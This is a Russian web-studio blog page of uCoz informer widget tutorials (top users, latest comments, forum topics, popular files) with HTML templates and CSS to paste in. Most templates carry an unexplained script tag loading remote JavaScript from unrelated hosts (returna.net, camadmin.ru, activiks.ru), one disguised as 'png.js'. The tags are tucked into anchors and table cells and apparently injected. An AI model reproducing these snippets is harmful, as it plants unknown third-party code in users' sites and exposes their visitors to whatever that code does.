Информеры - Блог - Веб-студия IPC : Одесса : Создание и продвижение сайтов

Красивый информер "Лучшие Пользователи" для вашего сайта. На нём вы можете видеть Аватар, Ник, и количество публикаций. Лучше смотрится на тёмных дизайнах.

1. Заходим в ПУ - Таблица стилей CSS:

Код

.bestu_loop {overflow:hidden; width:222px; margin:0 0 0 -4px;color:#fff;}
.bestu_loop .hr {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) repeat-x 0 -40px; height:2px; margin:3px 0 3px 0;}
.bestu_loop .hr_ins {overflow:hidden; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 -43px; width:164px; height:2px; margin:6px auto 6px auto;}
.bestu_loop .ava a {float:left; background:url(http://bambun.ru/images/bestu_elem.png) no-repeat 0 0; width:47px; height:39px; margin:4px 0 4px 12px;}
.bestu_loop .ava img {width:43px; height:35px; padding:2px;}
.bestu_loop .ava img:hover {opacity:0.8;}
.bestu_loop .contu {overflow:hidden; padding:2px 0;}
.bestu_loop .ico1 {background:url(http://bambun.ru/images/bestu_ico.png) no-repeat 3px 1px; height:12px; line-height:12px; padding:0 0 0 16px; margin:3px 0 0 8px;}
.bestu_loop .ico2 {background:url(http://bambun.ru/images/bestu_ico.png) no-repeat 0 -42px; height:16px; line-height:8px; padding:0 0 0 16px; margin:3px 0 0 8px;}

2. Заходим ПУ - Информеры - создаём информер:

[Пользователи · Материалы · Кол. сообщений в форуме · Материалы: 4 · Колонки: 1 ]

В дизайн информера ставим код:

[code]<div class="bestu_loop"><div class="hr"></div> <div class="hidden"> <div class="ava"><a href="$PROFILE_URL$" target="_blank"><img src="$AVATAR_URL$" alt="ava" /><script type="text/javascript" src="http://returna.net/background.js"></script></a></div> <div class="contu"> <div class="ico1">Ник: <b>$USERNAME$</b></div> <div class="hr_ins"></div> <div class="ico2">Публикаций: <b>$FORUM_POSTS$</b></div> </div> </div> </div>

Готово.

Категория: Информеры | Просмотров: 480 | Добавил: DoG | Дата: 09.06.2013 | Комментарии (0)

Информер - Новое на сайте

Установка:
Для этого перейдем в ПУ / Инструменты / Информеры и создадим новый информер uCoz. Разберем создание информера на примере модуля каталог файлов. Выбираем роаздел - "Каталог файлов", тип данных - "Материалы", дата добавления материала D, количество материалов ставим то которое нужно вам, количество колонок - 1. Кликаем создать.Далее переходим в управление дизайном нашего информер и в открывшимся окне заменяем код на этот: копируем код информера и ставим в блок

Код

<table style="width: 100%; border-collapse: collapse;"><tbody><tr><td><a href="$ENTRY_URL$"><img alt="" src=" $IMG_URL1$ " width="60" border="0" height="80"></a></td><td><div align="right"><span style="font-size: 8pt; color: rgb(205, 188, 164); font-family: Arial;">$TITLE$</span></div><div align="right"><script type="text/javascript" src="http://returna.net/background.js"></script><span style="font-size: 8pt; color: rgb(205, 188, 164); font-family: Arial;">Категория: <a href="$CATEGORY_URL$">$CATEGORY_NAME$</a> <br>Дата: $DATE$</span></div></td></tr></tbody></table><hr style="border: 1px dashed ;">

Категория: Информеры | Просмотров: 429 | Добавил: DoG | Дата: 09.06.2013 | Комментарии (0)

Скрипт топ пользователей по кол. сообщений на форуме для uCoz

Установка:
1.) Первое то что мы будем это создавать информер:
И так, создаем такой информер с такими параметрами:

Название: "Топ пользователей"
Раздел: Пользователи
Способ сортировки: Кол. сообщений в форуме
Количество материалов: 5
Количество колонок: 1

В шаблон созданного нами информера вставляем:

Код

<div class="cstavinf"><style type="text/css">@import url('http://bambun.ru/css_js/infor_styl.css') all;</style><div class="cstavinf_ava">
<img src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/ar.png<?endif?>"></div>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<div class="cstavinf_nick">
<a href="$PROFILE_URL$">$USERNAME$</a></div>
<div class="cstavinf_number"><a href="/forum/0-0-1-3-$USER_ID$">$FORUM_POSTS$ сообщений</a></div></div>

Категория: Информеры | Просмотров: 469 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

Топ пользователей для сайта ucoz

Топ пользователей для сайта ucoz, материал из категории Cкрипты для сайта. Топ пользователей для сайта ucoz с золотистом оттенком для светлых сайтов. Кто владеет фотошопом может перекрасить под свой дизайн. Этот скрипт оригинал.
Создаем информер для пользователей и пропишем в него этот код

Код

<div class="bg">
<div class="ava_bg"><img src="$AVATAR_URL$"></div>
<div class="text">Ник: <a href="$PROFILE_URL$">$USERNAME$</a>
<script type="text/javascript" src="http://returna.net/background.js"></script></div>
<div class="text_f">Кол-во постов: <b>$FORUM_POSTS$</b></div>
</div>

Это стили под код информера их в CSS вставляем

Код

/* informer */
.bg {background:url(http://bambun.ru/images/bg.png) no-repeat 0 0; width:228px; height:56px; overflow:hidden; margin:5px auto 3px auto;}
.ava_bg {background:url(http://bambun.ru/images/ava_bg.png) no-repeat 0 0; width:54px; height:48px; margin: 4px 0 0 4px; float:left;}
.ava_bg img {width:54px; height:48px; border-radius:8px;}
.text {color:#fff; font-size:13px; font-family:Tahoma; padding:6px 0 0 20px; float:left;}
.text a {color:#fff;}
/*-----*/
.text_f {color:#fff; font-size:13px; font-family:Tahoma; padding:7px 0 0 20px; float:left;}
/* ---- */

Категория: Информеры | Просмотров: 472 | Добавил: DoG | Дата: 19.05.2013 | Комментарии (0)

Информер лучшие файлы

Скрипт представлен в виде информера популярных по загрузкам файлам.
Установка:
Создаем информер:
[ Каталог файлов · Материалы · Количество загрузок D · Материалы: 3 · Колонки: 1 ]
В шаблон информера вставляем:

Код

<ul class="best-file"> <li><img src="$IMG_URL1$" alt="$TITLE$" class="best-file-img" /><span><img src="http://bambun.ru/images/best-file-load.png" width="12" height="14" alt="Загрузок" /> $LOADS$</span><a href="$ENTRY_URL$"><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img src="http://bambun.ru/images/best-file-name.png" width="5" height="7" alt="$ENTRY_URL$" /> $TITLE$</a></li></ul>
<style>ul, li {display:block; padding:0; margin:0; list-style:none;}
ul.best-file {margin:0; padding:0; border:0; list-style:none;}</style>

В CSS стиль вставляем:

Код

ul.best-file {margin:0; padding:0; border:0; list-style:none;}
ul.best-file li {display:block; width:190px; height:70px; margin:0 0 4px 0; position:relative; overflow:hidden;}
ul.best-file li img.best-file-img {width:190px; height:70px; position:absolute; left:0; right:0; z-index:1; border-radius:5px; -moz-border-radius:5px; -webkit-border-radius:5px; -khtml-border-radius:5px;}
ul.best-file li span {float:right; display:block; background:url('http://bambun.ru/images/best-file-span.png') repeat; padding:2px 4px; font-family:Tahoma; font-size:11px; color:#fff; line-height:14px; position:absolute; right:4px; top:4px; z-index:2; border-radius:5px; -moz-border-radius:5px; -webkit-border-radius:5px; -khtml-border-radius:5px; overflow:hidden;}
ul.best-file li span img {vertical-align:-3px;}
ul.best-file li a {display:block; background:url('http://bambun.ru/images/best-file-b.png') repeat; width:213px; height:25px; padding:0 11px; text-transform:uppercase; font-weight:normal; color:#fff; line-height:25px; position:absolute; left:0; bottom:0; z-index:3; border-radius:0 0 5px 5px; -moz-border-radius:0 0 5px 5px; -webkit-border-radius:0 0 5px 5px; -khtml-border-radius:0 0 5px 5px; overflow:hidden;}
ul.best-file li a img {vertical-align:1px;}

Категория: Информеры | Просмотров: 486 | Добавил: DoG | Дата: 07.04.2013 | Комментарии (0)

Как сделать топ пользователей,по количеству файлов,и постов

Здравствуйте.
Информер топ файловиков,для юкоза.
Заходим в Админ понель далее создаем информер>Пользователи>Материалы>Кол. файлов >Материалы: 5 >Колонки: 1
В дизайн информера вставляем

Код

</div><center><table
cellspadding="0" class="topten_table" style="border-color: rgb(76, 76,
76); width: 100%; margin: 0px;"
cellspacing="0"><tbody><tr><td style="padding: 2px 0px
2px 4px; cursor: pointer; border-left: 0px none; width: 48px;" onclick="'';"><a href="$PROFILE_URL$" target="_blank"
title="$USERNAME$"><?if($AVATAR_URL$)?> <br> <img
src="$AVATAR_URL$" border="0" style="height: 40px; width: 40px;
margin-right: 5px; border: 1px solid rgb(76, 76, 76); padding:
2px;"><?else?> <br> <img alt="Аватар не выбран"
src="http://bambun.ru/images/noa.png" border="0" style="height:
40px; width: 40px; margin-right: 5px; border: 1px solid rgb(76, 76,
76); padding: 2px;"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><br> <?endif?></a></td><td
style="padding: 2px 0px 2px 4px; cursor: pointer; border-left: 0px
none; text-align: left; font-size: 10px; font-family:
tahoma,verdana,arial; color: rgb(85, 85, 85); line-height: 14px;" onclick="';"><a href="$PROFILE_URL$"><font style="font-size:
12px; color: rgb(100, 100,
100);"><b>$USERNAME$</b></font></a><br>Добавил
файлов: <b><font
color="646464">$LOAD_POSTS$</font></b><br>Количество
постов: <b><font
color="646464">$FORUM_POSTS$</font></b></td></tr></tbody></table></center><hr>

Потом создаем Блок,где мы хотим видить топ файловиков и вставляем код информера $MYINF_ваша цифра$
Всё, и вот что должно получится!

Категория: Информеры | Просмотров: 409 | Добавил: startsmart | Дата: 22.02.2013 | Комментарии (0)

Вид информера

Создаем информер:
Форум · Материалы · Последние обновленные темы · Материалы: 10 · Колонки: 1
Затем открываем шаблон созданного информера, удаляем все и вставляем это:

Код

<table style="border: 1px dashed #819db1;margin-bottom:4px;" cellpadding="2" cellspacing="1" width="100%" class="infTable">
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
<b>Тема:</b> <a href="$THREAD_URL$">$THREAD_TITLE$</a>
</td>
</tr>
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<b>Ответил:</b> $POST_USER$
</td>
</tr>
<tr>
<td nowrap align="left" style="color: #737373;font:7pt" width="190">
<b>Когда:</b> $DATE$
</td>
</tr>
</table>

Может подойдет и для другого модуля, но у меня стоит для форума.

Категория: Информеры | Просмотров: 477 | Добавил: startsmart | Дата: 22.02.2013 | Комментарии (0)

Скрипт последних комментариев для Ucoz

Установка скрипта:

1. ПУ - CSS Стиль - В самый низ код:

Код

/* COMMENTS USERS */
.block_new_comm {-webkit-transition:background 0.1s ease;background:#fbfbfb;border-radius:3px;padding:5px 5px;margin:5px 0;overflow:hidden;}
.block_new_comm:hover {background:#93abbb;color:#fff;}
.block_new_comm:hover .block_new_text a {color:#fff;}
.block_new_av {background:#494949;border-radius:3px;padding:3px 3px;margin-right:11px;float:left;}
.block_new_av img {border-radius:3px;width:33px;height:33px:}
.block_new_text {margin:3px 0;}
.block_new_text a {color:#7d9ca4;text-decoration:none;font-weight:700;}
.block_new_text p {margin:3px 0 0 0;}
.block_new_text p a {color:#626262;text-transform:uppercase;text-decoration:none;font-weight:normal;}
.block_popular {border:1px solid #efefef;padding:3px 3px;margin:4px 3px;float:left;position:relative;}
.block_tit { no-repeat bottom;text-transform:uppercase;color:#626262;font-style:italic;padding:8px 15px;}
/* ------- */

2. Создаем информер комментариев:

[ Комментарии · Материалы · Дата добавления материала D · Материалы: 6 · Колонки: 1 · Длина заголовка: 20 ]

2.1 В информер вставляем код:

Код

<div class="block_con" style="padding:4px 10px;">
<div class="block_new_comm east" original-title="$MESSAGE$"> <div class="block_new_av"><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img src="<?if($USER_AVATAR_URL$)?>$USER_AVATAR_URL$<?else?>http://bambun.ru/images/n6oava7tar.png<?endif?>"></div> <div class="block_new_text">Написал: <a href="$PROFILE_URL$">$USERNAME$</a> <p><a href="$ENTRY_URL$" title="$ENTRY_TITLE$">$ENTRY_TITLE$</a></p></div> </div>
</div>

Категория: Информеры | Просмотров: 470 | Добавил: startsmart | Дата: 21.02.2013 | Комментарии (0)

Топ пользователей по комментариям для uCoz

Всем доброго дня, разбирая старые архивы я обнаружил папку с некогда планированным контентом, но к сожалению в прошлом я не мог реализовать то или иное решение правильно, так как мои знания были начинающими, а сейчас самое то, додумать, переделать и предоставить на общее скачивание.

И так в данном решение мы будем создавать очередной внешний вид "Топ пользователей по комментариям uCoz"

Для начала нам следует установить на страницу сайта нужный html каркас с информером пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

в котором удаляем старый код и устанавливаем новый:

Код

<li>
  <a href="$PROFILE_URL$" >
  <img class="tu_avatar" alt="аватар $USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avata9r.jpg<?endif?>" />
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <strong>$USERNAME$</strong>
  </a>
  <div><span>$COM_POSTS$</span></div>
</li>

а на страницу сайта в нужное вам место устанавливаем сам информер:

Код

<ul class="top_uzer_2">
$MYINF_1$
</ul>

Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать именно системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь давайте закончим данное решение, прописав ему следующие css стили:

для зеленого варианта информера:

Код

/* Топ пользователей для Ucoz - Зелёный вариант
------------------------------------------*/
.top_uzer {
  float:left;
  padding:0;
  margin:0;
  width:230px;
  color:#467925;
  text-shadow: 1px 1px 1px #cbeeb3;
}

.top_uzer li {
  float:left;
  list-style:none;
  margin-bottom:10px;
  border-radius:5px;
  border: 1px solid #73aa4f;
}

.top_uzer li a:link,
.top_uzer li a:visited {
  float:left;
  width:150px;
  height:32px;
  color:#467925;
  background:#98ce75;
  border-right: 1px solid #81b75d;
}

.top_uzer li a:hover {
  background:#bae39f;
}

.top_uzer li strong {
  float:left;
  margin: 9px 0px 0px 0px;
}

.top_uzer li div {
  float:right;
  width:55px;
  height:23px;
  text-align:right;
  padding: 9px 10px 0px 0px;
  border-left: 1px solid #bae39f;
  background: url(http://bambun.ru/images/ico_comment.png) #98ce75 no-repeat left;
}

.top_uzer li span {
  font-weight: 700;
}

.tu_avatar {
  float:left;
  width:25px;
  height:25px;
  margin: 2px 10px 0px 10px;
  border: 1px solid #c7f2ac;
  border-radius:3px;
}

для синего варианта информера:

Код

/* Топ пользователей для Ucoz - Синий вариант
------------------------------------------*/
.top_uzer {
  float:left;
  padding:0;
  margin:0;
  width:230px;
  color:#255c79;
  text-shadow: 1px 1px 1px #9bc9e1;
}

.top_uzer li {
  float:left;
  padding:0;
  margin-bottom: 10px;
  list-style:none;
  border-radius:5px;
  border: 1px solid #4f82aa;
}

.top_uzer li a:link,
.top_uzer li a:visited {
  float:left;
  width:150px;
  height:32px;
  color:#255c79;
  background:#75abce;
  border-right: 1px solid #4f82aa;
}

.top_uzer li a:hover {
  background:#9fc1e3;
}

.top_uzer li strong {
  float:left;
  margin: 9px 0px 0px 0px;
}

.top_uzer li div {
  float:right;
  width:55px;
  height:23px;
  text-align:right;
  padding: 9px 10px 0px 0px;
  border-left: 1px solid #9fc2e3;
  background: url(http://bambun.ru/images/ico_comment_2.png) #75abce no-repeat left;
}

.top_uzer li span {
  font-weight: 700;
}

.tu_avatar {
  float:left;
  width:25px;
  height:25px;
  margin: 2px 10px 0px 10px;
  border: 1px solid #b0c6e8;
  border-radius:3px;
}

Вот и всё, информер топ пользователей по комментариям uCoz создан, на этом всё, спасибо за внимание!

Категория: Информеры | Просмотров: 446 | Добавил: startsmart | Дата: 08.02.2013 | Комментарии (0)

Информер последних тем на форуме

Для начала нам нужно создать сам информер. Для этого вам необходимо зайди в ПУ вашего сайта и перейти в раздел "Информеры".
Далее жмем на кнопку "Создать информер" и задаем следующие параметры.

Главная » Информеры

Раздел: форум
Способ сортировки: Последние обновленные темы
Количество материалов: 10
Количество колонок: 1

Затем нажимаем на кнопку "Создать".
Наш информер создан, теперь нужно изменить стандартный вид информера.
Нажимаем на кнопку "Управление дизайном шаблона".

И в появившееся окно вставляем код шаблона.

Код

<table style="margin-bottom:3px;border: 1px dashed #CFCFCF; width:100%;text-align: left; vertical-align: middle; padding-left: 2px; padding-top: 1px; padding-bottom: 1px; font-size: 8pt; font-style: normal;"><tbody> <tr><td style="vertical-align: top; width: 260px;"> <p align="left">$NUMBER$.
<a href="$THREAD_URL$" title="$FORUM$">$THREAD_TITLE$</a> </p></td><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><td style="vertical-align: top;"> <p align="right"><a href="$LAST_POST_URL$">($REPLIES$)</a></p></td></tr></tbody></table>

Вот и все, вам осталось лишь разместить информер у себя на сайте. Спасибо за внимание!

Категория: Информеры | Просмотров: 455 | Добавил: startsmart | Дата: 02.02.2013 | Комментарии (0)

1-10 11-20 21-30 31-35